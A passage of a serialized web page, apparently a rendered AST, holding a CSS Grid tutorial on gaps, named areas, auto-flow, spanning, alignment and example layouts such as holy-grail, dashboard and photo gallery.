auto;\n}\n",[143,64602,64603,64609,64619,64639,64655],{"__ignoreMap":141},[1560,64604,64605,64607],{"class":1562,"line":1563},[1560,64606,62643],{"class":1566},[1560,64608,1571],{"class":1570},[1560,64610,64611,64613,64615,64617],{"class":1562,"line":337},[1560,64612,12504],{"class":1576},[1560,64614,1663],{"class":1570},[1560,64616,53158],{"class":1576},[1560,64618,2228],{"class":1570},[1560,64620,64621,64623,64625,64627,64629,64631,64633,64635,64637],{"class":1562,"line":343},[1560,64622,61005],{"class":1576},[1560,64624,1663],{"class":1570},[1560,64626,63480],{"class":1576},[1560,64628,1670],{"class":1669},[1560,64630,18868],{"class":1576},[1560,64632,61016],{"class":1669},[1560,64634,18868],{"class":1576},[1560,64636,61016],{"class":1669},[1560,64638,2228],{"class":1570},[1560,64640,64641,64643,64645,64647,64649,64651,64653],{"class":1562,"line":365},[1560,64642,61023],{"class":1576},[1560,64644,1663],{"class":1570},[1560,64646,33331],{"class":1576},[1560,64648,18868],{"class":1576},[1560,64650,61016],{"class":1669},[1560,64652,58828],{"class":1576},[1560,64654,2228],{"class":1570},[1560,64656,64657],{"class":1562,"line":889},[1560,64658,1585],{"class":1570},[16,64660,64661],{},"A fixed sidebar on the left, flexible content columns, and rows that size to content at the top and bottom.",[11,64663,64665],{"id":64664},"grid-gap-row-and-column-gaps","grid-gap (Row and Column Gaps)",[16,64667,64668],{},"Gaps control spacing between tracks. They replace margin-based spacing and never apply before the first item or after the last.",[135,64670,64672],{"className":1554,"code":64671,"language":1556,"meta":141,"style":141},".grid-container {\n  display: grid;\n  grid-template-columns: repeat(3, 1fr);\n  gap: 24px;           \u002F* rows and columns *\u002F\n  row-gap: 16px;       \u002F* vertical only *\u002F\n  column-gap: 32px;    \u002F* horizontal only *\u002F\n}\n",[143,64673,64674,64680,64690,64710,64725,64741,64757],{"__ignoreMap":141},[1560,64675,64676,64678],{"class":1562,"line":1563},[1560,64677,62643],{"class":1566},[1560,64679,1571],{"class":1570},[1560,64681,64682,64684,64686,64688],{"class":1562,"line":337},[1560,64683,12504],{"class":1576},[1560,64685,1663],{"class":1570},[1560,64687,53158],{"class":1576},[1560,64689,2228],{"class":1570},[1560,64691,64692,64694,64696,64698,64700,64702,64704,64706,64708],{"class":1562,"line":343},[1560,64693,61005],{"class":1576},[1560,64695,1663],{"class":1570},[1560,64697,9442],{"class":1576},[1560,64699,1688],{"class":1570},[1560,64701,17821],{"class":1576},[1560,64703,1459],{"class":1570},[1560,64705,3585],{"class":1576},[1560,64707,61016],{"class":1669},[1560,64709,1744],{"class":1570},[1560,64711,64712,64714,64716,64718,64720,64722],{"class":1562,"line":365},[1560,64713,32235],{"class":1576},[1560,64715,1663],{"class":1570},[1560,64717,61489],{"class":1576},[1560,64719,1670],{"class":1669},[1560,64721,4421],{"class":1570},[1560,64723,64724],{"class":1649},"\u002F* rows and columns *\u002F\n",[1560,64726,64727,64730,64732,64734,64736,64738],{"class":1562,"line":889},[1560,64728,64729],{"class":1576},"  row-gap",[1560,64731,1663],{"class":1570},[1560,64733,10057],{"class":1576},[1560,64735,1670],{"class":1669},[1560,64737,5755],{"class":1570},[1560,64739,64740],{"class":1649},"\u002F* vertical only *\u002F\n",[1560,64742,64743,64746,64748,64750,64752,64754],{"class":1562,"line":1710},[1560,64744,64745],{"class":1576},"  column-gap",[1560,64747,1663],{"class":1570},[1560,64749,36042],{"class":1576},[1560,64751,1670],{"class":1669},[1560,64753,3393],{"class":1570},[1560,64755,64756],{"class":1649},"\u002F* horizontal only *\u002F\n",[1560,64758,64759],{"class":1562,"line":1717},[1560,64760,1585],{"class":1570},[16,64762,64763,64764,6841,64766,64768,64769,64772,64773,468],{},"Gap values are subtracted from available space ",[47,64765,12137],{},[143,64767,61016],{}," units are calculated. With a 1000px container, three ",[143,64770,64771],{},"1fr"," columns, and a 24px gap, each column gets ",[143,64774,64775],{},"(1000 - 48) \u002F 3 = 317px",[11,64777,64779],{"id":64778},"grid-area-and-named-areas","grid-area and Named Areas",[16,64781,64782,64784],{},[143,64783,60975],{}," is the most readable way to define complex layouts. You draw the layout with names instead of calculating line numbers:",[135,64786,64788],{"className":1554,"code":64787,"language":1556,"meta":141,"style":141},".dashboard {\n  display: grid;\n  grid-template-columns: 240px 1fr 1fr;\n  grid-template-rows: 64px 1fr 1fr 48px;\n  grid-template-areas:\n    \"nav     nav     nav\"\n    \"sidebar chart   chart\"\n    \"sidebar table   stats\"\n    \"footer  footer  footer\";\n  gap: 16px;\n}\n\n.nav     { grid-area: nav; }\n.sidebar { grid-area: sidebar; }\n.chart   { grid-area: chart; }\n.table   { grid-area: table; }\n.stats   { grid-area: stats; }\n.footer  { grid-area: footer; }\n",[143,64789,64790,64796,64806,64826,64850,64856,64861,64866,64871,64878,64890,64894,64898,64910,64920,64932,64947,64959],{"__ignoreMap":141},[1560,64791,64792,64794],{"class":1562,"line":1563},[1560,64793,61314],{"class":1566},[1560,64795,1571],{"class":1570},[1560,64797,64798,64800,64802,64804],{"class":1562,"line":337},[1560,64799,12504],{"class":1576},[1560,64801,1663],{"class":1570},[1560,64803,53158],{"class":1576},[1560,64805,2228],{"class":1570},[1560,64807,64808,64810,64812,64814,64816,64818,64820,64822,64824],{"class":1562,"line":343},[1560,64809,61005],{"class":1576},[1560,64811,1663],{"class":1570},[1560,64813,14865],{"class":1576},[1560,64815,1670],{"class":1669},[1560,64817,18868],{"class":1576},[1560,64819,61016],{"class":1669},[1560,64821,18868],{"class":1576},[1560,64823,61016],{"class":1669},[1560,64825,2228],{"class":1570},[1560,64827,64828,64830,64832,64834,64836,64838,64840,64842,64844,64846,64848],{"class":1562,"line":365},[1560,64829,61023],{"class":1576},[1560,64831,1663],{"class":1570},[1560,64833,32226],{"class":1576},[1560,64835,1670],{"class":1669},[1560,64837,18868],{"class":1576},[1560,64839,61016],{"class":1669},[1560,64841,18868],{"class":1576},[1560,64843,61016],{"class":1669},[1560,64845,48871],{"class":1576},[1560,64847,1670],{"class":1669},[1560,64849,2228],{"class":1570},[1560,64851,64852,64854],{"class":1562,"line":889},[1560,64853,61040],{"class":1576},[1560,64855,19182],{"class":1570},[1560,64857,64858],{"class":1562,"line":1710},[1560,64859,64860],{"class":5634},"    \"nav     nav     nav\"\n",[1560,64862,64863],{"class":1562,"line":1717},[1560,64864,64865],{"class":5634},"    \"sidebar chart   chart\"\n",[1560,64867,64868],{"class":1562,"line":1747},[1560,64869,64870],{"class":5634},"    \"sidebar table   stats\"\n",[1560,64872,64873,64876],{"class":1562,"line":2507},[1560,64874,64875],{"class":5634},"    \"footer  footer  footer\"",[1560,64877,2228],{"class":1570},[1560,64879,64880,64882,64884,64886,64888],{"class":1562,"line":2524},[1560,64881,32235],{"class":1576},[1560,64883,1663],{"class":1570},[1560,64885,10057],{"class":1576},[1560,64887,1670],{"class":1669},[1560,64889,2228],{"class":1570},[1560,64891,64892],{"class":1562,"line":2529},[1560,64893,1585],{"class":1570},[1560,64895,64896],{"class":1562,"line":2534},[1560,64897,1702],{"emptyLinePlaceholder":363},[1560,64899,64900,64903,64905,64907],{"class":1562,"line":2542},[1560,64901,64902],{"class":1566},".nav",[1560,64904,59135],{"class":1570},[1560,64906,60979],{"class":1576},[1560,64908,64909],{"class":1570},": nav; }\n",[1560,64911,64912,64914,64916,64918],{"class":1562,"line":2558},[1560,64913,33518],{"class":1566},[1560,64915,1658],{"class":1570},[1560,64917,60979],{"class":1576},[1560,64919,61090],{"class":1570},[1560,64921,64922,64925,64927,64929],{"class":1562,"line":2570},[1560,64923,64924],{"class":1566},".chart",[1560,64926,16964],{"class":1570},[1560,64928,60979],{"class":1576},[1560,64930,64931],{"class":1570},": chart; }\n",[1560,64933,64934,64937,64939,64941,64943,64945],{"class":1562,"line":6638},[1560,64935,64936],{"class":1566},".table",[1560,64938,16964],{"class":1570},[1560,64940,60979],{"class":1576},[1560,64942,1663],{"class":1570},[1560,64944,193],{"class":1576},[1560,64946,1673],{"class":1570},[1560,64948,64949,64952,64954,64956],{"class":1562,"line":11615},[1560,64950,64951],{"class":1566},".stats",[1560,64953,16964],{"class":1570},[1560,64955,60979],{"class":1576},[1560,64957,64958],{"class":1570},": stats; }\n",[1560,64960,64961,64963,64965,64967],{"class":1562,"line":11621},[1560,64962,61106],{"class":1566},[1560,64964,36449],{"class":1570},[1560,64966,60979],{"class":1576},[1560,64968,61113],{"class":1570},[16,64970,64971,64972,64974],{},"A period (",[143,64973,468],{},") marks an empty cell. Named areas make the layout visible in the CSS itself, easy to rearrange for mobile, and simple for teams to understand.",[33,64976,64978],{"id":64977},"shorthand-grid-area-with-line-numbers","Shorthand: grid-area with Line Numbers",[16,64980,64981,64982,64984],{},"You can also use ",[143,64983,60979],{}," as a shorthand for all four placement values:",[135,64986,64988],{"className":1554,"code":64987,"language":1556,"meta":141,"style":141},".featured-item {\n  grid-area: 1 \u002F 1 \u002F 3 \u002F 4;\n  \u002F* row-start \u002F column-start \u002F row-end \u002F column-end *\u002F\n}\n",[143,64989,64990,64997,65020,65025],{"__ignoreMap":141},[1560,64991,64992,64995],{"class":1562,"line":1563},[1560,64993,64994],{"class":1566},".featured-item",[1560,64996,1571],{"class":1570},[1560,64998,64999,65002,65004,65006,65008,65010,65012,65014,65016,65018],{"class":1562,"line":337},[1560,65000,65001],{"class":1576},"  grid-area",[1560,65003,1663],{"class":1570},[1560,65005,3585],{"class":1576},[1560,65007,14237],{"class":1570},[1560,65009,3585],{"class":1576},[1560,65011,14237],{"class":1570},[1560,65013,17821],{"class":1576},[1560,65015,14237],{"class":1570},[1560,65017,12546],{"class":1576},[1560,65019,2228],{"class":1570},[1560,65021,65022],{"class":1562,"line":343},[1560,65023,65024],{"class":1649},"  \u002F* row-start \u002F column-start \u002F row-end \u002F column-end *\u002F\n",[1560,65026,65027],{"class":1562,"line":365},[1560,65028,1585],{"class":1570},[11,65030,61795],{"id":61795},[16,65032,65033,65034,65036],{},"When items outnumber explicit tracks, the browser creates implicit tracks. ",[143,65035,61795],{}," controls how items fill those tracks:",[193,65038,65039,65047],{},[196,65040,65041],{},[199,65042,65043,65045],{},[202,65044,1769],{},[202,65046,17960],{},[211,65048,65049,65058,65067],{},[199,65050,65051,65055],{},[216,65052,65053,61823],{},[143,65054,58185],{},[216,65056,65057],{},"Fills left to right, then wraps to next row",[199,65059,65060,65064],{},[216,65061,65062],{},[143,65063,32691],{},[216,65065,65066],{},"Fills top to bottom, then moves to next column",[199,65068,65069,65073],{},[216,65070,65071],{},[143,65072,61848],{},[216,65074,65075],{},"Backfills gaps left by spanning items",[135,65077,65079],{"className":1554,"code":65078,"language":1556,"meta":141,"style":141},".gallery {\n  display: grid;\n  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));\n  grid-auto-flow: dense;\n  gap: 8px;\n}\n",[143,65080,65081,65087,65097,65127,65137,65149],{"__ignoreMap":141},[1560,65082,65083,65085],{"class":1562,"line":1563},[1560,65084,64079],{"class":1566},[1560,65086,1571],{"class":1570},[1560,65088,65089,65091,65093,65095],{"class":1562,"line":337},[1560,65090,12504],{"class":1576},[1560,65092,1663],{"class":1570},[1560,65094,53158],{"class":1576},[1560,65096,2228],{"class":1570},[1560,65098,65099,65101,65103,65105,65107,65109,65111,65113,65115,65117,65119,65121,65123,65125],{"class":1562,"line":343},[1560,65100,61005],{"class":1576},[1560,65102,1663],{"class":1570},[1560,65104,9442],{"class":1576},[1560,65106,1688],{"class":1570},[1560,65108,63144],{"class":1576},[1560,65110,1459],{"class":1570},[1560,65112,62152],{"class":1576},[1560,65114,1688],{"class":1570},[1560,65116,18101],{"class":1576},[1560,65118,1670],{"class":1669},[1560,65120,1459],{"class":1570},[1560,65122,3585],{"class":1576},[1560,65124,61016],{"class":1669},[1560,65126,41941],{"class":1570},[1560,65128,65129,65131,65133,65135],{"class":1562,"line":365},[1560,65130,61910],{"class":1576},[1560,65132,1663],{"class":1570},[1560,65134,61848],{"class":1576},[1560,65136,2228],{"class":1570},[1560,65138,65139,65141,65143,65145,65147],{"class":1562,"line":889},[1560,65140,32235],{"class":1576},[1560,65142,1663],{"class":1570},[1560,65144,10078],{"class":1576},[1560,65146,1670],{"class":1669},[1560,65148,2228],{"class":1570},[1560,65150,65151],{"class":1562,"line":1710},[1560,65152,1585],{"class":1570},[16,65154,1388,65155,65157],{},[143,65156,61848],{}," for image galleries where items have varying spans and you want compact layouts without empty gaps.",[11,65159,65161],{"id":65160},"practical-examples","Practical Examples",[33,65163,59022],{"id":59021},[16,65165,63193],{},[135,65167,65169],{"className":1554,"code":65168,"language":1556,"meta":141,"style":141},".holy-grail {\n  display: grid;\n  grid-template-columns: 200px 1fr 200px;\n  grid-template-rows: auto 1fr auto;\n  grid-template-areas:\n    \"header header  header\"\n    \"left   content right\"\n    \"footer footer  footer\";\n  min-height: 100vh;\n}\n",[143,65170,65171,65177,65187,65207,65223,65229,65233,65237,65243,65255],{"__ignoreMap":141},[1560,65172,65173,65175],{"class":1562,"line":1563},[1560,65174,61213],{"class":1566},[1560,65176,1571],{"class":1570},[1560,65178,65179,65181,65183,65185],{"class":1562,"line":337},[1560,65180,12504],{"class":1576},[1560,65182,1663],{"class":1570},[1560,65184,53158],{"class":1576},[1560,65186,2228],{"class":1570},[1560,65188,65189,65191,65193,65195,65197,65199,65201,65203,65205],{"class":1562,"line":343},[1560,65190,61005],{"class":1576},[1560,65192,1663],{"class":1570},[1560,65194,18101],{"class":1576},[1560,65196,1670],{"class":1669},[1560,65198,18868],{"class":1576},[1560,65200,61016],{"class":1669},[1560,65202,58847],{"class":1576},[1560,65204,1670],{"class":1669},[1560,65206,2228],{"class":1570},[1560,65208,65209,65211,65213,65215,65217,65219,65221],{"class":1562,"line":365},[1560,65210,61023],{"class":1576},[1560,65212,1663],{"class":1570},[1560,65214,33331],{"class":1576},[1560,65216,18868],{"class":1576},[1560,65218,61016],{"class":1669},[1560,65220,58828],{"class":1576},[1560,65222,2228],{"class":1570},[1560,65224,65225,65227],{"class":1562,"line":889},[1560,65226,61040],{"class":1576},[1560,65228,19182],{"class":1570},[1560,65230,65231],{"class":1562,"line":1710},[1560,65232,61272],{"class":5634},[1560,65234,65235],{"class":1562,"line":1717},[1560,65236,63265],{"class":5634},[1560,65238,65239,65241],{"class":1562,"line":1747},[1560,65240,61282],{"class":5634},[1560,65242,2228],{"class":1570},[1560,65244,65245,65247,65249,65251,65253],{"class":1562,"line":2507},[1560,65246,32698],{"class":1576},[1560,65248,1663],{"class":1570},[1560,65250,18114],{"class":1576},[1560,65252,32705],{"class":1669},[1560,65254,2228],{"class":1570},[1560,65256,65257],{"class":1562,"line":2524},[1560,65258,1585],{"class":1570},[16,65260,65261],{},"All three columns maintain consistent height without JavaScript or table hacks.",[33,65263,61304],{"id":61303},[16,65265,65266],{},"Asymmetrical panels with varying spans:",[135,65268,65270],{"className":1554,"code":65269,"language":1556,"meta":141,"style":141},".dashboard {\n  display: grid;\n  grid-template-columns: 260px 1fr 1fr 1fr;\n  grid-template-rows: 56px 2fr 1fr;\n  grid-template-areas:\n    \"toolbar toolbar toolbar toolbar\"\n    \"nav     main    main    aside\"\n    \"nav     widget1 widget2 aside\";\n  gap: 12px;\n}\n",[143,65271,65272,65278,65288,65312,65332,65338,65343,65348,65355,65367],{"__ignoreMap":141},[1560,65273,65274,65276],{"class":1562,"line":1563},[1560,65275,61314],{"class":1566},[1560,65277,1571],{"class":1570},[1560,65279,65280,65282,65284,65286],{"class":1562,"line":337},[1560,65281,12504],{"class":1576},[1560,65283,1663],{"class":1570},[1560,65285,53158],{"class":1576},[1560,65287,2228],{"class":1570},[1560,65289,65290,65292,65294,65296,65298,65300,65302,65304,65306,65308,65310],{"class":1562,"line":343},[1560,65291,61005],{"class":1576},[1560,65293,1663],{"class":1570},[1560,65295,63480],{"class":1576},[1560,65297,1670],{"class":1669},[1560,65299,18868],{"class":1576},[1560,65301,61016],{"class":1669},[1560,65303,18868],{"class":1576},[1560,65305,61016],{"class":1669},[1560,65307,18868],{"class":1576},[1560,65309,61016],{"class":1669},[1560,65311,2228],{"class":1570},[1560,65313,65314,65316,65318,65320,65322,65324,65326,65328,65330],{"class":1562,"line":365},[1560,65315,61023],{"class":1576},[1560,65317,1663],{"class":1570},[1560,65319,63501],{"class":1576},[1560,65321,1670],{"class":1669},[1560,65323,9426],{"class":1576},[1560,65325,61016],{"class":1669},[1560,65327,18868],{"class":1576},[1560,65329,61016],{"class":1669},[1560,65331,2228],{"class":1570},[1560,65333,65334,65336],{"class":1562,"line":889},[1560,65335,61040],{"class":1576},[1560,65337,19182],{"class":1570},[1560,65339,65340],{"class":1562,"line":1710},[1560,65341,65342],{"class":5634},"    \"toolbar toolbar toolbar toolbar\"\n",[1560,65344,65345],{"class":1562,"line":1717},[1560,65346,65347],{"class":5634},"    \"nav     main    main    aside\"\n",[1560,65349,65350,65353],{"class":1562,"line":1747},[1560,65351,65352],{"class":5634},"    \"nav     widget1 widget2 aside\"",[1560,65354,2228],{"class":1570},[1560,65356,65357,65359,65361,65363,65365],{"class":1562,"line":2507},[1560,65358,32235],{"class":1576},[1560,65360,1663],{"class":1570},[1560,65362,13566],{"class":1576},[1560,65364,1670],{"class":1669},[1560,65366,2228],{"class":1570},[1560,65368,65369],{"class":1562,"line":2524},[1560,65370,1585],{"class":1570},[16,65372,421,65373,65376],{},[143,65374,65375],{},"2fr"," row gives the main area more vertical space than the widget row.",[33,65378,65380],{"id":65379},"photo-gallery","Photo Gallery",[16,65382,65383],{},"Responsive grid with featured items spanning multiple cells:",[135,65385,65387],{"className":1554,"code":65386,"language":1556,"meta":141,"style":141},".gallery {\n  display: grid;\n  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));\n  grid-auto-rows: 200px;\n  grid-auto-flow: dense;\n  gap: 8px;\n}\n\n.gallery-item.featured {\n  grid-column: span 2;\n  grid-row: span 2;\n}\n",[143,65388,65389,65395,65405,65435,65447,65457,65469,65473,65477,65484,65494,65504],{"__ignoreMap":141},[1560,65390,65391,65393],{"class":1562,"line":1563},[1560,65392,64079],{"class":1566},[1560,65394,1571],{"class":1570},[1560,65396,65397,65399,65401,65403],{"class":1562,"line":337},[1560,65398,12504],{"class":1576},[1560,65400,1663],{"class":1570},[1560,65402,53158],{"class":1576},[1560,65404,2228],{"class":1570},[1560,65406,65407,65409,65411,65413,65415,65417,65419,65421,65423,65425,65427,65429,65431,65433],{"class":1562,"line":343},[1560,65408,61005],{"class":1576},[1560,65410,1663],{"class":1570},[1560,65412,9442],{"class":1576},[1560,65414,1688],{"class":1570},[1560,65416,63144],{"class":1576},[1560,65418,1459],{"class":1570},[1560,65420,62152],{"class":1576},[1560,65422,1688],{"class":1570},[1560,65424,18101],{"class":1576},[1560,65426,1670],{"class":1669},[1560,65428,1459],{"class":1570},[1560,65430,3585],{"class":1576},[1560,65432,61016],{"class":1669},[1560,65434,41941],{"class":1570},[1560,65436,65437,65439,65441,65443,65445],{"class":1562,"line":365},[1560,65438,62147],{"class":1576},[1560,65440,1663],{"class":1570},[1560,65442,18101],{"class":1576},[1560,65444,1670],{"class":1669},[1560,65446,2228],{"class":1570},[1560,65448,65449,65451,65453,65455],{"class":1562,"line":889},[1560,65450,61910],{"class":1576},[1560,65452,1663],{"class":1570},[1560,65454,61848],{"class":1576},[1560,65456,2228],{"class":1570},[1560,65458,65459,65461,65463,65465,65467],{"class":1562,"line":1710},[1560,65460,32235],{"class":1576},[1560,65462,1663],{"class":1570},[1560,65464,10078],{"class":1576},[1560,65466,1670],{"class":1669},[1560,65468,2228],{"class":1570},[1560,65470,65471],{"class":1562,"line":1717},[1560,65472,1585],{"class":1570},[1560,65474,65475],{"class":1562,"line":1747},[1560,65476,1702],{"emptyLinePlaceholder":363},[1560,65478,65479,65482],{"class":1562,"line":2507},[1560,65480,65481],{"class":1566},".gallery-item.featured",[1560,65483,1571],{"class":1570},[1560,65485,65486,65488,65490,65492],{"class":1562,"line":2524},[1560,65487,61956],{"class":1576},[1560,65489,62209],{"class":1570},[1560,65491,10099],{"class":1576},[1560,65493,2228],{"class":1570},[1560,65495,65496,65498,65500,65502],{"class":1562,"line":2529},[1560,65497,62218],{"class":1576},[1560,65499,62209],{"class":1570},[1560,65501,10099],{"class":1576},[1560,65503,2228],{"class":1570},[1560,65505,65506],{"class":1562,"line":2534},[1560,65507,1585],{"class":1570},[16,65509,421,65510,65512],{},[143,65511,61848],{}," packing ensures smaller items fill gaps left by the featured images.",[11,65514,65516],{"id":65515},"spanning-and-placement","Spanning and Placement",[16,65518,65519,65520,65522],{},"Items can span multiple tracks using line numbers or the ",[143,65521,1560],{}," keyword:",[135,65524,65526],{"className":1554,"code":65525,"language":1556,"meta":141,"style":141},"\u002F* Span 2 columns *\u002F\n.item {\n  grid-column: span 2;\n}\n\n\u002F* Span from line 2 to line 4 *\u002F\n.item {\n  grid-column: 2 \u002F 4;\n}\n\n\u002F* Span 2 columns starting from line 2 *\u002F\n.item {\n  grid-column: 2 \u002F span 2;\n}\n\n\u002F* Full shorthand: row-start \u002F col-start \u002F row-end \u002F col-end *\u002F\n.item {\n  grid-area: 1 \u002F 1 \u002F 3 \u002F 4;\n}\n",[143,65527,65528,65533,65539,65549,65553,65557,65562,65568,65582,65586,65590,65595,65601,65616,65620,65624,65629,65635,65657],{"__ignoreMap":141},[1560,65529,65530],{"class":1562,"line":1563},[1560,65531,65532],{"class":1649},"\u002F* Span 2 columns *\u002F\n",[1560,65534,65535,65537],{"class":1562,"line":337},[1560,65536,58800],{"class":1566},[1560,65538,1571],{"class":1570},[1560,65540,65541,65543,65545,65547],{"class":1562,"line":343},[1560,65542,61956],{"class":1576},[1560,65544,62209],{"class":1570},[1560,65546,10099],{"class":1576},[1560,65548,2228],{"class":1570},[1560,65550,65551],{"class":1562,"line":365},[1560,65552,1585],{"class":1570},[1560,65554,65555],{"class":1562,"line":889},[1560,65556,1702],{"emptyLinePlaceholder":363},[1560,65558,65559],{"class":1562,"line":1710},[1560,65560,65561],{"class":1649},"\u002F* Span from line 2 to line 4 *\u002F\n",[1560,65563,65564,65566],{"class":1562,"line":1717},[1560,65565,58800],{"class":1566},[1560,65567,1571],{"class":1570},[1560,65569,65570,65572,65574,65576,65578,65580],{"class":1562,"line":1747},[1560,65571,61956],{"class":1576},[1560,65573,1663],{"class":1570},[1560,65575,10099],{"class":1576},[1560,65577,14237],{"class":1570},[1560,65579,12546],{"class":1576},[1560,65581,2228],{"class":1570},[1560,65583,65584],{"class":1562,"line":2507},[1560,65585,1585],{"class":1570},[1560,65587,65588],{"class":1562,"line":2524},[1560,65589,1702],{"emptyLinePlaceholder":363},[1560,65591,65592],{"class":1562,"line":2529},[1560,65593,65594],{"class":1649},"\u002F* Span 2 columns starting from line 2 *\u002F\n",[1560,65596,65597,65599],{"class":1562,"line":2534},[1560,65598,58800],{"class":1566},[1560,65600,1571],{"class":1570},[1560,65602,65603,65605,65607,65609,65612,65614],{"class":1562,"line":2542},[1560,65604,61956],{"class":1576},[1560,65606,1663],{"class":1570},[1560,65608,10099],{"class":1576},[1560,65610,65611],{"class":1570}," \u002F span ",[1560,65613,10099],{"class":1576},[1560,65615,2228],{"class":1570},[1560,65617,65618],{"class":1562,"line":2558},[1560,65619,1585],{"class":1570},[1560,65621,65622],{"class":1562,"line":2570},[1560,65623,1702],{"emptyLinePlaceholder":363},[1560,65625,65626],{"class":1562,"line":6638},[1560,65627,65628],{"class":1649},"\u002F* Full shorthand: row-start \u002F col-start \u002F row-end \u002F col-end *\u002F\n",[1560,65630,65631,65633],{"class":1562,"line":11615},[1560,65632,58800],{"class":1566},[1560,65634,1571],{"class":1570},[1560,65636,65637,65639,65641,65643,65645,65647,65649,65651,65653,65655],{"class":1562,"line":11621},[1560,65638,65001],{"class":1576},[1560,65640,1663],{"class":1570},[1560,65642,3585],{"class":1576},[1560,65644,14237],{"class":1570},[1560,65646,3585],{"class":1576},[1560,65648,14237],{"class":1570},[1560,65650,17821],{"class":1576},[1560,65652,14237],{"class":1570},[1560,65654,12546],{"class":1576},[1560,65656,2228],{"class":1570},[1560,65658,65659],{"class":1562,"line":11633},[1560,65660,1585],{"class":1570},[16,65662,65663,65664,65666],{},"Prefer ",[143,65665,1560],{}," over raw line numbers when you do not need to target specific lines — it is more readable and resilient to track changes.",[11,65668,65670],{"id":65669},"alignment","Alignment",[16,65672,65673],{},"Grid provides two levels of alignment:",[193,65675,65676,65688],{},[196,65677,65678],{},[199,65679,65680,65682,65685],{},[202,65681,14482],{},[202,65683,65684],{},"Scope",[202,65686,65687],{},"Controls",[211,65689,65690,65702,65713,65725,65737],{},[199,65691,65692,65696,65699],{},[216,65693,65694],{},[143,65695,62954],{},[216,65697,65698],{},"Container",[216,65700,65701],{},"Horizontal alignment of all items",[199,65703,65704,65708,65710],{},[216,65705,65706],{},[143,65707,51743],{},[216,65709,65698],{},[216,65711,65712],{},"Vertical alignment of all items",[199,65714,65715,65720,65722],{},[216,65716,65717],{},[143,65718,65719],{},"place-items",[216,65721,65698],{},[216,65723,65724],{},"Both axes (align \u002F justify)",[199,65726,65727,65731,65734],{},[216,65728,65729],{},[143,65730,63057],{},[216,65732,65733],{},"Item",[216,65735,65736],{},"Override horizontal for one item",[199,65738,65739,65743,65745],{},[216,65740,65741],{},[143,65742,58888],{},[216,65744,65733],{},[216,65746,65747],{},"Override vertical for one item",[135,65749,65751],{"className":1554,"code":65750,"language":1556,"meta":141,"style":141},".grid-container {\n  place-items: center;\n}\n\n.stretch-item {\n  align-self: stretch;\n}\n",[143,65752,65753,65759,65769,65773,65777,65784,65794],{"__ignoreMap":141},[1560,65754,65755,65757],{"class":1562,"line":1563},[1560,65756,62643],{"class":1566},[1560,65758,1571],{"class":1570},[1560,65760,65761,65763,65765,65767],{"class":1562,"line":337},[1560,65762,53165],{"class":1576},[1560,65764,1663],{"class":1570},[1560,65766,32199],{"class":1576},[1560,65768,2228],{"class":1570},[1560,65770,65771],{"class":1562,"line":343},[1560,65772,1585],{"class":1570},[1560,65774,65775],{"class":1562,"line":365},[1560,65776,1702],{"emptyLinePlaceholder":363},[1560,65778,65779,65782],{"class":1562,"line":889},[1560,65780,65781],{"class":1566},".stretch-item",[1560,65783,1571],{"class":1570},[1560,65785,65786,65788,65790,65792],{"class":1562,"line":1710},[1560,65787,58945],{"class":1576},[1560,65789,1663],{"class":1570},[1560,65791,33070],{"class":1576},[1560,65793,2228],{"class":1570},[1560,65795,65796],{"class":1562,"line":1717},[1560,65797,1585],{"class":1570},[11,65799,286],{"id":285},[16,65801,65802,65803,65806],{},"Experiment with grid areas, column spans, and responsive patterns in our ",[98,65804,61745],{"href":62823,"rel":65805},[14956],". Adjust tracks visually and copy production-ready CSS.",[11,65808,321],{"id":320},[41,65810,65811,65817],{},[44,65812,65813,65816],{},[98,65814,65815],{"href":63648},"CSS Grid Guide"," — Core grid concepts: columns, rows, gaps, and units",[44,65818,65819,65821],{},[98,65820,63614],{"href":63613}," — Grid vs Flexbox comparison and combined strategies",[2043,65823,65824],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":65826},[65827,65828,65834,65835,65838,65839,65844,65845,65846,65847],{"id":64326,"depth":337,"text":64327},{"id":64411,"depth":337,"text":64412,"children":65829},[65830,65831,65832,65833],{"id":64418,"depth":343,"text":64419},{"id":64486,"depth":343,"text":64487},{"id":64543,"depth":343,"text":64544},{"id":64593,"depth":343,"text":64594},{"id":64664,"depth":337,"text":64665},{"id":64778,"depth":337,"text":64779,"children":65836},[65837],{"id":64977,"depth":343,"text":64978},{"id":61795,"depth":337,"text":61795},{"id":65160,"depth":337,"text":65161,"children":65840},[65841,65842,65843],{"id":59021,"depth":343,"text":59022},{"id":61303,"depth":343,"text":61304},{"id":65379,"depth":343,"text":65380},{"id":65515,"depth":337,"text":65516},{"id":65669,"depth":337,"text":65670},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Step-by-step CSS Grid tutorial covering all grid properties with practical 